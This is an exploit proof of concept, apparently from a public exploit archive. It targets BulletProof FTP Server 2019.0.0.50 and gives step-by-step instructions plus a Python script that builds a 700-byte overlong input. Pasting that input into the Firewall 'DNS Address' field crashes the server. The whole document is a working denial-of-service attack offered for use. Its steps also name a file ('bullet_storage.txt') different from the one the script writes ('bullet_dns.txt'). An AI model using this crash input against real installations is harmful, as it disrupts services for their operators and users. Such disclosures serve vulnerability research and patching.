BulletProof FTP Server 2019.0.0.50 – ‘DNS Address’ Denial of Service (PoC)
#Exploit Title: BulletProof FTP Server 2019.0.0.50 - 'DNS Address' Denial of Service (PoC) #Discovery by: Victor Mondragón #Discovery Date: 2019-05-18 #Vendor Homepage: http://bpftpserver.com/ #Software Link: http://bpftpserver.com/products/bpftpserver/windows/download #Tested Version: 2019.0.0.50 #Tested on: Windows 10 Single Language x64 / Windows 7 Service Pack 1 x64 #Steps to produce the crash: #1.- Run python code: BulletProof_DNS_Server_2019.0.0.50.py #2.- Open bullet_storage.txt and copy content to clipboard #3.- Open BulletProof FTP Server #4.- Select "Settings" > "Protocols" > "FTP" > "Firewall" #5.- Enable "DNS Address" and Paste Clipboard #6.- Click on "Test" #7.- Crashed cod = "\x41" * 700 f = open('bullet_dns.txt', 'w') f.write(cod) f.close() |